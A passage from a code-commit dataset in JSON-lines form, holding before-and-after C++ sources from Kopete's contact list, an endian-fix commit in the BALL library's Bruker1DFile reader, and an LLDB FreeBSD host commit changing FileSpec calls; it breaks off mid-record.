them\n\td->loaded=false;\n\n\t\/\/ automatically save on changes to the list\n\td->saveTimer = new QTimer( this );\n\td->saveTimer->setObjectName( \"saveTimer\" );\n\td->saveTimer->setSingleShot( true );\n\tconnect( d->saveTimer, SIGNAL( timeout() ), SLOT ( save() ) );\n\n\tconnect( this, SIGNAL( metaContactAdded( Kopete::MetaContact * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( metaContactRemoved( Kopete::MetaContact * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupAdded( Kopete::Group * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupRemoved( Kopete::Group * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupRenamed( Kopete::Group *, const QString & ) ), SLOT( slotSaveLater() ) );\n}\n\nContactList::~ContactList()\n{\n\tdelete d->myself;\n\tdelete d;\n}\n\nQList<MetaContact *> ContactList::metaContacts() const\n{\n\treturn d->contacts;\n}\n\n\nQList<Group *> ContactList::groups() const\n{\n\treturn d->groups;\n}\n\n\nMetaContact *ContactList::metaContact( const QString &metaContactId ) const\n{\n\tQListIterator<MetaContact *> it( d->contacts );\n\n\twhile ( it.hasNext() )\n\t{\n\t\tMetaContact *mc = it.next();\n\t\tif( mc->metaContactId() == metaContactId )\n\t\t\treturn mc;\n\t}\n\n\treturn 0L;\n}\n\n\nGroup * ContactList::group(unsigned int groupId) const\n{\n\tQListIterator<Group *> it(d->groups);\n\t\n\twhile ( it.hasNext() )\n\t{\n\t\tGroup *curr = it.next();\n\t\tif( curr->groupId()==groupId )\n\t\t\treturn curr;\n\t}\n\treturn 0L;\n}\n\n\nContact *ContactList::findContact( const QString &protocolId,\n\tconst QString &accountId, const QString &contactId ) const\n{\n\t\/\/Browsing metacontacts is too slow, better to uses the Dict of the account.\n\tAccount *i=AccountManager::self()->findAccount(protocolId,accountId);\n\tif(!i)\n\t{\n\t\tkDebug( 14010 ) << \"Account not found\";\n\t\treturn 0L;\n\t}\n\treturn i->contacts()[contactId];\n}\n\n\nMetaContact *ContactList::findMetaContactByDisplayName( const QString &displayName ) const\n{\n\tforeach(Kopete::MetaContact *contact, d->contacts)\n\t{\n\t\tif( contact->displayName() == displayName )\n\t\t{\n\t\t\treturn contact;\n\t\t}\n\t}\n return 0;\n}\n\nMetaContact* ContactList::findMetaContactByContactId( const QString &contactId ) const\n{\n\tQListIterator<Kopete::Account *> it( Kopete::AccountManager::self()->accounts() );\n\tKopete::Account *a;\n\twhile ( it.hasNext() )\n\t{\n\t\ta = it.next();\n\t\tContact *c=a->contacts()[contactId];\n\t\tif(c && c->metaContact())\n\t\t\treturn c->metaContact();\n\t}\n\treturn 0L;\n}\n\nGroup * ContactList::findGroup(const QString& displayName, int type)\n{\n\tif( type == Group::Temporary )\n\t\treturn Group::temporary();\n\t\n\tif ( displayName == i18n (\"Top Level\") )\n\t\treturn Group::topLevel();\n\n\tQListIterator<Group *> it(d->groups);\n\twhile ( it.hasNext() )\n\t{\n\t\tGroup *curr = it.next();\n\t\tif( curr->type() == type && curr->displayName() == displayName )\n\t\t\treturn curr;\n\t}\n\n\tGroup *newGroup = new Group( displayName, (Group::GroupType)type );\n\taddGroup( newGroup );\n\treturn newGroup;\n}\n\n\nQList<MetaContact *> ContactList::selectedMetaContacts() const\n{\n\treturn d->selectedMetaContacts;\n}\n\nQList<Group *> ContactList::selectedGroups() const\n{\n\treturn d->selectedGroups;\n}\n\nvoid ContactList::addMetaContacts( QList<MetaContact *> metaContacts )\n{\n\tforeach( MetaContact* mc, metaContacts )\n\t\taddMetaContact( mc );\n}\n\nvoid ContactList::addMetaContact( MetaContact *mc )\n{\n\tif ( d->contacts.contains( mc ) )\n\t\treturn;\n\n\td->contacts.append( mc );\n\n\temit metaContactAdded( mc );\n\tconnect( mc, SIGNAL( persistentDataChanged( ) ), SLOT( slotSaveLater() ) );\n\tconnect( mc, SIGNAL( addedToGroup( Kopete::MetaContact *, Kopete::Group * ) ), SIGNAL( metaContactAddedToGroup( Kopete::MetaContact *, Kopete::Group * ) ) );\n\tconnect( mc, SIGNAL( removedFromGroup( Kopete::MetaContact *, Kopete::Group * ) ), SIGNAL( metaContactRemovedFromGroup( Kopete::MetaContact *, Kopete::Group * ) ) );\n}\n\n\nvoid ContactList::removeMetaContact(MetaContact *m)\n{\n\tif ( !d->contacts.contains(m) )\n\t{\n\t\tkDebug(14010) << \"Trying to remove a not listed MetaContact.\";\n\t\treturn;\n\t}\n\n\tif ( d->selectedMetaContacts.contains( m ) )\n\t{\n\t\td->selectedMetaContacts.removeAll( m );\n\t\tsetSelectedItems( d->selectedMetaContacts, d->selectedGroups );\n\t}\n\n\t\/\/removes subcontact from server here and now.\n\tKopete::Contact *contactToDelete = 0;\n\tforeach( contactToDelete, m->contacts() )\n\t{\n\t\t\/\/ TODO: Check for good execution of task\n\t\tKopete::DeleteContactTask *deleteTask = new Kopete::DeleteContactTask(contactToDelete);\n\t\tdeleteTask->start();\n\t}\n\n\td->contacts.removeAll( m );\n\temit metaContactRemoved( m );\n\tm->deleteLater();\n}\n\nvoid ContactList::addGroups( QList<Group *> groups )\n{\n\tforeach( Group* g, groups )\n\t\taddGroup( g );\n}\n\nvoid ContactList::addGroup( Group * g )\n{\n\tif(!d->groups.contains(g) )\n\t{\n\t\td->groups.append( g );\n\t\temit groupAdded( g );\n\t\tconnect( g , SIGNAL ( displayNameChanged(Kopete::Group* , const QString & )) , this , SIGNAL ( groupRenamed(Kopete::Group* , const QString & )) ) ;\n\t}\n}\n\nvoid ContactList::removeGroup( Group *g )\n{\n\tif ( d->selectedGroups.contains( g ) )\n\t{\n\t\td->selectedGroups.removeAll( g );\n\t\tsetSelectedItems( d->selectedMetaContacts, d->selectedGroups );\n\t}\n\n\td->groups.removeAll( g );\n\temit groupRemoved( g );\n\tg->deleteLater();\n}\n\n\nvoid ContactList::setSelectedItems(QList<MetaContact *> metaContacts , QList<Group *> groups)\n{\n\tkDebug( 14010 ) << metaContacts.count() << \" metacontacts, \" << groups.count() << \" groups selected\";\n\td->selectedMetaContacts=metaContacts;\n\td->selectedGroups=groups;\n\n\temit metaContactSelected( groups.isEmpty() && metaContacts.count()==1 );\n\temit selectionChanged();\n}\n\nMetaContact* ContactList::myself()\n{\n\tif(!d->myself)\n\t\td->myself=new MetaContact();\n\treturn d->myself;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ContactList::load()\n{\n\t\/\/ don't save when we're in the middle of this...\n\td->loaded = false;\n\t\n\tKopete::ContactListStorage *storage = new Kopete::XmlContactStorage();\n\tstorage->load();\n\tif( !storage->isValid() )\n\t{\n\t\tkDebug(14010) << \"Contact list storage failed. Reason: \" << storage->errorMessage();\n\t\td->loaded = true;\n\t\tdelete storage;\n\t\treturn;\n\t}\n\n\taddGroups( storage->groups() );\n\taddMetaContacts( storage->contacts() );\n\n\td->loaded = true;\n\tdelete storage;\n}\n\nvoid Kopete::ContactList::save()\n{\n\tif( !d->loaded )\n\t{\n\t\tkDebug(14010) << \"Contact list not loaded, abort saving\";\n\t\treturn;\n\t}\n\n\tKopete::ContactListStorage *storage = new Kopete::XmlContactStorage();\n\tstorage->save();\n\tif( !storage->isValid() )\n\t{\n\t\tkDebug(14010) << \"Contact list storage failed. Reason: \" << storage->errorMessage();\n\n\t\t\/\/ Saving the contact list failed. retry every minute until it works.\n\t\t\/\/ single-shot: will get restarted by us next time if it's still failing\n\t\td->saveTimer->setSingleShot( true );\n\t\td->saveTimer->start( 60000 );\n\t\tdelete storage;\n\t\treturn;\n\t}\n\n\t\/\/ cancel any scheduled saves\n\td->saveTimer->stop();\n\tdelete storage;\n}\n\nvoid ContactList::slotSaveLater()\n{\n\t\/\/ if we already have a save scheduled, it will be cancelled. either way,\n\t\/\/ start a timer to save the contact list a bit later.\n\td->saveTimer->start( 17100 \/* 17,1 seconds *\/ );\n}\n\nvoid ContactList::slotKABCChanged()\n{\n\t\/\/ TODO: react to changes in KABC, replacing this function, post 3.4 (Will)\n\t\/\/ call syncWithKABC on each metacontact to check if its associated kabc entry has changed.\n\/*\tfor ( MetaContact * mc = d->contacts.first(); mc; mc = d->contacts.next() )\n\n\t\tmc->syncWithKABC();*\/\n}\n\n\n} \/\/END namespace Kopete\n\n#include \"kopetecontactlist.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\n#include <BALL\/FORMAT\/bruker1DFile.h>\n\nnamespace BALL \n{\n\n Bruker1DFile::Bruker1DFile()\n : File(),\n\t\t\tmin_(0),\n\t\t\tmax_(1),\n\t\t\tpars_()\n {\n }\n\n\tBruker1DFile::Bruker1DFile(const String& name, OpenMode open_mode) \n\t\t: File(name + FileSystem::PATH_SEPARATOR + \"1r\", open_mode),\n\t\t\tmin_(0),\n\t\t\tmax_(1),\n\t\t\tpars_()\n\t{\n\t\tpars_.open(name + FileSystem::PATH_SEPARATOR + \"procs\");\n\t\tpars_.read();\n\t\tmin_ = (Size)pars_.getDoubleValue(\"YMIN_p\");\n\t\tmax_ = (Size)pars_.getDoubleValue(\"YMAX_p\");\n\t\tpars_.close();\n\t\tread();\n\t}\n\n\tBruker1DFile::~Bruker1DFile()\n\t{\n\t}\n\n\tvoid Bruker1DFile::read(const String &name)\n\t{\n\t pars_.open(name + FileSystem::PATH_SEPARATOR + \"procs\");\n\t pars_.read();\n\t min_ = (Size)pars_.getDoubleValue(\"YMIN_p\");\n\t max_ = (Size)pars_.getDoubleValue(\"YMAX_p\");\n\t\tpars_.close();\n\t \n\t close();\n\t open(name + FileSystem::PATH_SEPARATOR + \"1r\");\n\t read();\n\t}\n\n void Bruker1DFile::read()\n\t{\n\t char c[4];\n\t signed long int &numdum = *(signed long int*) (&c[0]);\n\t Position actpos = 0;\n\t File& f = static_cast<File&> (*this);\n\t bool littleEndian;\n\t \n\t \/\/ first we will have to find out whether we are using big or little\n\t \/\/ endian on this machine.\n\t int endTest = 1;\n\t if (*(char *) &endTest == 1)\n\t {\n\t \tlittleEndian = true;\n\t } \n\t else \n\t {\n\t littleEndian = false;\n\t }\n\t \n\t spectrum_.resize( (Size)pars_.getDoubleValue(\"SI\"));\n\t spectrum_.setOrigin(pars_.getDoubleValue(\"YMIN_p\"));\n\t\tspectrum_.setDimension(pars_.getDoubleValue(\"YMAX_p\") - pars_.getDoubleValue(\"YMIN_p\"));\n\n\t \/\/ back to beginning of file\n\t f.reopen();\n\t \n\t \/\/ read data\n\t for (Position i = 0; i < (Size)pars_.getDoubleValue(\"SI\"); i++)\n\t\t{\n\t\t if (!f.good())\n\t\t {\n\t\t\t\t\/\/ ?????: here should be a warning or exception\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t f.get(c[0]); f.get(c[1]); f.get(c[2]); f.get(c[3]);\n\t\t if (pars_.getDoubleValue(\"BYTORDP\") == 1.0L) \n\t\t\t{\n\t\t\t \tif (littleEndian == false)\n\t\t\t \t{ \/\/ conversion from little to big\n\t\t\t\t \tnumdum = (signed long) ( ((numdum & 0x000000FFL) << 24)\n\t\t\t\t\t|((numdum & 0x0000FF00L) << 16)\n\t\t\t\t \t|((numdum & 0x00FF0000L) >> 16)\n\t\t\t\t \t|((numdum & 0xFF000000L) >> 24));\n\t\t\t \t}\n\t\t\t\t\/\/ else no conversion needed\n\t\t\t} \n\t\t else \n\t\t\t{\n\t\t\t\tif (littleEndian == true) \/\/ conversion from big to little\n\t\t\t \t{\n\t\t\t numdum = (signed long) ( ((numdum & 0x000000FFL) << 24)\n\t\t\t\t\t|((numdum & 0x0000FF00L) << 16)\n\t\t\t\t\t|((numdum & 0x00FF0000L) >> 16)\n\t\t\t\t\t|((numdum & 0xFF000000L) >> 24));\n\t\t\t } \n\t\t\t \/\/ else no conversion needed\n\t\t\t}\n\t\t \n\t\t if ((max_ - min_) != 0) \n\t\t\t{\n\t\t\t\tspectrum_[actpos] = ((double) (numdum - min_)) \/ (max_ - min_);\n\t\t\t}\n\t\t \n\t\t\tactpos++;\n\t\t}\n\t}\n}\n<commit_msg>Fix endian detection\/conversion in Bruker1DFile<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\n#include <BALL\/FORMAT\/bruker1DFile.h>\n\nnamespace BALL \n{\n\n Bruker1DFile::Bruker1DFile()\n : File(),\n\t\t\tmin_(0),\n\t\t\tmax_(1),\n\t\t\tpars_()\n {\n }\n\n\tBruker1DFile::Bruker1DFile(const String& name, OpenMode open_mode) \n\t\t: File(name + FileSystem::PATH_SEPARATOR + \"1r\", open_mode),\n\t\t\tmin_(0),\n\t\t\tmax_(1),\n\t\t\tpars_()\n\t{\n\t\tpars_.open(name + FileSystem::PATH_SEPARATOR + \"procs\");\n\t\tpars_.read();\n\t\tmin_ = (Size)pars_.getDoubleValue(\"YMIN_p\");\n\t\tmax_ = (Size)pars_.getDoubleValue(\"YMAX_p\");\n\t\tpars_.close();\n\t\tread();\n\t}\n\n\tBruker1DFile::~Bruker1DFile()\n\t{\n\t}\n\n\tvoid Bruker1DFile::read(const String &name)\n\t{\n\t pars_.open(name + FileSystem::PATH_SEPARATOR + \"procs\");\n\t pars_.read();\n\t min_ = (Size)pars_.getDoubleValue(\"YMIN_p\");\n\t max_ = (Size)pars_.getDoubleValue(\"YMAX_p\");\n\t\tpars_.close();\n\t \n\t close();\n\t open(name + FileSystem::PATH_SEPARATOR + \"1r\");\n\t read();\n\t}\n\n void Bruker1DFile::read()\n\t{\n\t \/\/ first we will have to find out whether we are using big or little\n\t \/\/ endian on this machine.\n\t\tunsigned int endTest = 1;\n\t\tBinaryFileAdaptor<BALL_INT32> adapt_int32_t_;\n\t\tadapt_int32_t_.setSwapEndian((*(char*)&endTest == 1) != (pars_.getDoubleValue(\"BYTORDP\") == 1.0));\n\n\t spectrum_.resize( (Size)pars_.getDoubleValue(\"SI\"));\n\t spectrum_.setOrigin(pars_.getDoubleValue(\"YMIN_p\"));\n\t\tspectrum_.setDimension(pars_.getDoubleValue(\"YMAX_p\") - pars_.getDoubleValue(\"YMIN_p\"));\n\n\t \/\/ back to beginning of file\n\t this->reopen();\n\t \n\t \/\/ read data\n\t for (Position i = 0; i < spectrum_.size(); ++i)\n\t\t{\n\t\t if (!this->good())\n\t\t {\n\t\t\t\t\/\/ ?????: here should be a warning or exception\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t(*this) >> adapt_int32_t_;\n\n\t\t if ((max_ - min_) != 0) \n\t\t\t{\n\t\t\t\tspectrum_[i] = ((double) (adapt_int32_t_.getData() - min_)) \/ (max_ - min_);\n\t\t\t}\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- source\/Host\/freebsd\/Host.cpp ------------------------------*- C++\n\/\/-*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n#include <sys\/types.h>\n\n#include <sys\/exec.h>\n#include <sys\/proc.h>\n#include <sys\/ptrace.h>\n#include <sys\/sysctl.h>\n#include <sys\/user.h>\n\n#include <machine\/elf.h>\n\n#include <dlfcn.h>\n#include <execinfo.h>\n#include <stdio.h>\n\n\/\/ C++ Includes\n\/\/ Other libraries and framework includes\n\/\/ Project includes\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/HostInfo.h\"\n#include \"lldb\/Target\/Process.h\"\n#include \"lldb\/Utility\/DataBufferHeap.h\"\n#include \"lldb\/Utility\/DataExtractor.h\"\n#include \"lldb\/Utility\/Endian.h\"\n#include \"lldb\/Utility\/Log.h\"\n#include \"lldb\/Utility\/NameMatches.h\"\n#include \"lldb\/Utility\/Status.h\"\n#include \"lldb\/Utility\/StreamString.h\"\n\n#include \"llvm\/Support\/Host.h\"\n\nextern \"C\" {\nextern char **environ;\n}\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nstatic bool\nGetFreeBSDProcessArgs(const ProcessInstanceInfoMatch *match_info_ptr,\n ProcessInstanceInfo &process_info) {\n if (!process_info.ProcessIDIsValid())\n return false;\n\n int pid = process_info.GetProcessID();\n\n int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ARGS, pid};\n\n char arg_data[8192];\n size_t arg_data_size = sizeof(arg_data);\n if (::sysctl(mib, 4, arg_data, &arg_data_size, NULL, 0) != 0)\n return false;\n\n DataExtractor data(arg_data, arg_data_size, endian::InlHostByteOrder(),\n sizeof(void *));\n lldb::offset_t offset = 0;\n const char *cstr;\n\n cstr = data.GetCStr(&offset);\n if (!cstr)\n return false;\n\n \/\/ Get pathname for pid. If that fails fall back to argv[0].\n char pathname[MAXPATHLEN];\n size_t pathname_len = sizeof(pathname);\n mib[2] = KERN_PROC_PATHNAME;\n if (::sysctl(mib, 4, pathname, &pathname_len, NULL, 0) == 0)\n process_info.GetExecutableFile().SetFile(pathname, false,\n FileSpec::Style::native);\n else\n process_info.GetExecutableFile().SetFile(cstr, false,\n FileSpec::Style::native);\n\n if (!(match_info_ptr == NULL ||\n NameMatches(process_info.GetExecutableFile().GetFilename().GetCString(),\n match_info_ptr->GetNameMatchType(),\n match_info_ptr->GetProcessInfo().GetName())))\n return false;\n\n Args &proc_args = process_info.GetArguments();\n while (1) {\n const uint8_t *p = data.PeekData(offset, 1);\n while ((p != NULL) && (*p == '\\0') && offset < arg_data_size) {\n ++offset;\n p = data.PeekData(offset, 1);\n }\n if (p == NULL || offset >= arg_data_size)\n break;\n\n cstr = data.GetCStr(&offset);\n if (!cstr)\n break;\n\n proc_args.AppendArgument(llvm::StringRef(cstr));\n }\n\n return true;\n}\n\nstatic bool GetFreeBSDProcessCPUType(ProcessInstanceInfo &process_info) {\n if (process_info.ProcessIDIsValid()) {\n process_info.GetArchitecture() =\n HostInfo::GetArchitecture(HostInfo::eArchKindDefault);\n return true;\n }\n process_info.GetArchitecture().Clear();\n return false;\n}\n\nstatic bool GetFreeBSDProcessUserAndGroup(ProcessInstanceInfo &process_info) {\n struct kinfo_proc proc_kinfo;\n size_t proc_kinfo_size;\n const int pid = process_info.GetProcessID();\n int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};\n\n if (!process_info.ProcessIDIsValid())\n goto error;\n\n proc_kinfo_size = sizeof(struct kinfo_proc);\n\n if (::sysctl(mib, 4, &proc_kinfo, &proc_kinfo_size, NULL, 0) != 0)\n goto error;\n\n if (proc_kinfo_size == 0)\n goto error;\n\n process_info.SetParentProcessID(proc_kinfo.ki_ppid);\n process_info.SetUserID(proc_kinfo.ki_ruid);\n process_info.SetGroupID(proc_kinfo.ki_rgid);\n process_info.SetEffectiveUserID(proc_kinfo.ki_uid);\n if (proc_kinfo.ki_ngroups > 0)\n process_info.SetEffectiveGroupID(proc_kinfo.ki_groups[0]);\n else\n process_info.SetEffectiveGroupID(UINT32_MAX);\n return true;\n\nerror:\n process_info.SetParentProcessID(LLDB_INVALID_PROCESS_ID);\n process_info.SetUserID(UINT32_MAX);\n process_info.SetGroupID(UINT32_MAX);\n process_info.SetEffectiveUserID(UINT32_MAX);\n process_info.SetEffectiveGroupID(UINT32_MAX);\n return false;\n}\n\nuint32_t Host::FindProcesses(const ProcessInstanceInfoMatch &match_info,\n ProcessInstanceInfoList &process_infos) {\n const ::pid_t our_pid = ::getpid();\n const ::uid_t our_uid = ::getuid();\n std::vector<struct kinfo_proc> kinfos;\n \/\/ Special case, if lldb is being run as root we can attach to anything.\n bool all_users = match_info.GetMatchAllUsers() || (our_uid == 0);\n\n int mib[3] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL};\n\n size_t pid_data_size = 0;\n if (::sysctl(mib, 3, NULL, &pid_data_size, NULL, 0) != 0)\n return 0;\n\n \/\/ Add a few extra in case a few more show up\n const size_t estimated_pid_count =\n (pid_data_size \/ sizeof(struct kinfo_proc)) + 10;\n\n kinfos.resize(estimated_pid_count);\n pid_data_size = kinfos.size() * sizeof(struct kinfo_proc);\n\n if (::sysctl(mib, 3, &kinfos[0], &pid_data_size, NULL, 0) != 0)\n return 0;\n\n const size_t actual_pid_count = (pid_data_size \/ sizeof(struct kinfo_proc));\n\n for (size_t i = 0; i < actual_pid_count; i++) {\n const struct kinfo_proc &kinfo = kinfos[i];\n\n \/* Make sure the user is acceptable *\/\n if (!all_users && kinfo.ki_ruid != our_uid)\n continue;\n\n if (kinfo.ki_pid == our_pid || \/\/ Skip this process\n kinfo.ki_pid == 0 || \/\/ Skip kernel (kernel pid is 0)\n kinfo.ki_stat == SZOMB || \/\/ Zombies are bad\n kinfo.ki_flag & P_TRACED || \/\/ Being debugged?\n kinfo.ki_flag & P_WEXIT) \/\/ Working on exiting\n continue;\n\n \/\/ Every thread is a process in FreeBSD, but all the threads of a single\n \/\/ process have the same pid. Do not store the process info in the result\n \/\/ list if a process with given identifier is already registered there.\n bool already_registered = false;\n for (uint32_t pi = 0;\n !already_registered && (const int)kinfo.ki_numthreads > 1 &&\n pi < (const uint32_t)process_infos.GetSize();\n pi++)\n already_registered =\n (process_infos.GetProcessIDAtIndex(pi) == (uint32_t)kinfo.ki_pid);\n\n if (already_registered)\n continue;\n\n ProcessInstanceInfo process_info;\n process_info.SetProcessID(kinfo.ki_pid);\n process_info.SetParentProcessID(kinfo.ki_ppid);\n process_info.SetUserID(kinfo.ki_ruid);\n process_info.SetGroupID(kinfo.ki_rgid);\n process_info.SetEffectiveUserID(kinfo.ki_svuid);\n process_info.SetEffectiveGroupID(kinfo.ki_svgid);\n\n \/\/ Make sure our info matches before we go fetch the name and cpu type\n if (match_info.Matches(process_info) &&\n GetFreeBSDProcessArgs(&match_info, process_info)) {\n GetFreeBSDProcessCPUType(process_info);\n if (match_info.Matches(process_info))\n process_infos.Append(process_info);\n }\n }\n\n return process_infos.GetSize();\n}\n\nbool Host::GetProcessInfo(lldb::pid_t pid, ProcessInstanceInfo &process_info) {\n process_info.SetProcessID(pid);\n\n if (GetFreeBSDProcessArgs(NULL, process_info)) {\n \/\/ should use libprocstat instead of going right into sysctl?\n GetFreeBSDProcessCPUType(process_info);\n GetFreeBSDProcessUserAndGroup(process_info);\n return true;\n }\n\n process_info.Clear();\n return false;\n}\n\nEnvironment Host::GetEnvironment() { return Environment(environ); }\n\nStatus Host::ShellExpandArguments(ProcessLaunchInfo &launch_info) {\n return Status(\"unimplemented\");\n}\n<commit_msg>[FileSystem] Change FileSpec constructor signature (2\/2)<commit_after>\/\/===-- source\/Host\/freebsd\/Host.cpp ------------------------------*- C++\n\/\/-*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ C Includes\n#include <sys\/types.h>\n\n#include <sys\/exec.h>\n#include <sys\/proc.h>\n#include <sys\/ptrace.h>\n#include <sys\/sysctl.h>\n#include <sys\/user.h>\n\n#include <machine\/elf.h>\n\n#include <dlfcn.h>\n#include <execinfo.h>\n#include <stdio.h>\n\n\/\/ C++ Includes\n\/\/ Other libraries and framework includes\n\/\/ Project includes\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/HostInfo.h\"\n#include \"lldb\/Target\/Process.h\"\n#include \"lldb\/Utility\/DataBufferHeap.h\"\n#include \"lldb\/Utility\/DataExtractor.h\"\n#include \"lldb\/Utility\/Endian.h\"\n#include \"lldb\/Utility\/Log.h\"\n#include \"lldb\/Utility\/NameMatches.h\"\n#include \"lldb\/Utility\/Status.h\"\n#include \"lldb\/Utility\/StreamString.h\"\n\n#include \"llvm\/Support\/Host.h\"\n\nextern \"C\" {\nextern char **environ;\n}\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nstatic bool\nGetFreeBSDProcessArgs(const ProcessInstanceInfoMatch *match_info_ptr,\n ProcessInstanceInfo &process_info) {\n if (!process_info.ProcessIDIsValid())\n return false;\n\n int pid = process_info.GetProcessID();\n\n int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ARGS, pid};\n\n char arg_data[8192];\n size_t arg_data_size = sizeof(arg_data);\n if (::sysctl(mib, 4, arg_data, &arg_data_size, NULL, 0) != 0)\n return false;\n\n DataExtractor data(arg_data, arg_data_size, endian::InlHostByteOrder(),\n sizeof(void *));\n lldb::offset_t offset = 0;\n const char *cstr;\n\n cstr = data.GetCStr(&offset);\n if (!cstr)\n return false;\n\n \/\/ Get pathname for pid. If that fails fall back to argv[0].\n char pathname[MAXPATHLEN];\n size_t pathname_len = sizeof(pathname);\n mib[2] = KERN_PROC_PATHNAME;\n if (::sysctl(mib, 4, pathname, &pathname_len, NULL, 0) == 0)\n process_info.GetExecutableFile().SetFile(pathname, FileSpec::Style::native);\n else\n process_info.GetExecutableFile().SetFile(cstr, FileSpec::Style::native);\n\n if (!(match_info_ptr == NULL ||\n NameMatches(process_info.GetExecutableFile().GetFilename().GetCString(),\n match_info_ptr->GetNameMatchType(),\n match_info_ptr->GetProcessInfo().GetName())))\n return false;\n\n Args &proc_args = process_info.GetArguments();\n while (1) {\n const uint8_t *p = data.PeekData(offset, 1);\n while ((p != NULL) && (*p == '\\0') && offset < arg_data_size) {\n ++offset;\n p = data.PeekData(offset, 1);\n }\n if (p == NULL || offset >= arg_data_size)\n break;\n\n cstr = data.GetCStr(&offset);\n if (!cstr)\n break;\n\n proc_args.AppendArgument(llvm::StringRef(cstr));\n }\n\n return true;\n}\n\nstatic bool GetFreeBSDProcessCPUType(ProcessInstanceInfo &process_info) {\n if (process_info.ProcessIDIsValid()) {\n process_info.GetArchitecture() =\n HostInfo::GetArchitecture(HostInfo::eArchKindDefault);\n return true;\n }\n process_info.GetArchitecture().Clear();\n return false;\n}\n\nstatic bool GetFreeBSDProcessUserAndGroup(ProcessInstanceInfo &process_info) {\n struct kinfo_proc proc_kinfo;\n size_t proc_kinfo_size;\n const int pid = process_info.GetProcessID();\n int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};\n\n if (!process_info.ProcessIDIsValid())\n goto error;\n\n proc_kinfo_size = sizeof(struct kinfo_proc);\n\n if (::sysctl(mib, 4, &proc_kinfo, &proc_kinfo_size, NULL, 0) != 0)\n goto error;\n\n if (proc_kinfo_size == 0)\n goto error;\n\n process_info.SetParentProcessID(proc_kinfo.ki_ppid);\n process_info.SetUserID(proc_kinfo.ki_ruid);\n process_info.SetGroupID(proc_kinfo.ki_rgid);\n process_info.SetEffectiveUserID(proc_kinfo.ki_uid);\n if (proc_kinfo.ki_ngroups > 0)\n process_info.SetEffectiveGroupID(proc_kinfo.ki_groups[0]);\n else\n process_info.SetEffectiveGroupID(UINT32_MAX);\n return true;\n\nerror:\n process_info.SetParentProcessID(LLDB_INVALID_PROCESS_ID);\n process_info.SetUserID(UINT32_MAX);\n process_info.SetGroupID(UINT32_MAX);\n process_info.SetEffectiveUserID(UINT32_MAX);\n process_info.SetEffectiveGroupID(UINT32_MAX);\n return false;\n}\n\nuint32_t Host::FindProcesses(const ProcessInstanceInfoMatch &match_info,\n ProcessInstanceInfoList &process_infos) {\n const ::pid_t our_pid = ::getpid();\n const ::uid_t our_uid = ::getuid();\n std::vector<struct kinfo_proc> kinfos;\n \/\/ Special case, if lldb is being run as root we can attach to anything.\n bool all_users = match_info.GetMatchAllUsers() || (our_uid == 0);\n\n int mib[3] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL};\n\n size_t pid_data_size = 0;\n if (::sysctl(mib, 3, NULL, &pid_data_size, NULL, 0) != 0)\n return 0;\n\n \/\/ Add a few extra in case a few more show up\n const size_t estimated_pid_count =\n (pid_data_size \/ sizeof(struct kinfo_proc)) + 10;\n\n kinfos.resize(estimated_pid_count);\n pid_data_size = kinfos.size() * sizeof(struct kinfo_proc);\n\n if (::sysctl(mib, 3, &kinfos[0], &pid_data_size, NULL, 0) != 0)\n return 0;\n\n const size_t actual_pid_count = (pid_data_size \/ sizeof(struct kinfo_proc));\n\n for (size_t i = 0; i < actual_pid_count; i++) {\n const struct kinfo_proc &kinfo = kinfos[i];\n\n \/* Make sure the user is acceptable *\/\n if (!all_users && kinfo.ki_ruid != our_uid)\n continue;\n\n if (kinfo.ki_pid == our_pid || \/\/ Skip this process\n kinfo.ki_pid == 0 || \/\/ Skip kernel (kernel pid is 0)\n kinfo.ki_stat == SZOMB || \/\/ Zombies are bad\n kinfo.ki_flag & P_TRACED || \/\/ Being debugged?\n kinfo.ki_flag & P_WEXIT) \/\/ Working on exiting\n continue;\n\n \/\/ Every thread is a process in FreeBSD, but all the threads of a single\n \/\/ process have the same pid. Do not store the process info in the result\n \/\/ list if a process with given identifier is already registered there.\n bool already_registered = false;\n for (uint32_t pi = 0;\n !already_registered && (const int)kinfo.ki_numthreads > 1 &&\n pi < (const uint32_t)process_infos.GetSize();\n pi++)\n already_registered =\n (process_infos.GetProcessIDAtIndex(pi) == (uint32_t)kinfo.ki_pid);\n\n if (already_registered)\n continue;\n\n ProcessInstanceInfo process_info;\n process_info.SetProcessID(kinfo.ki_pid);\n 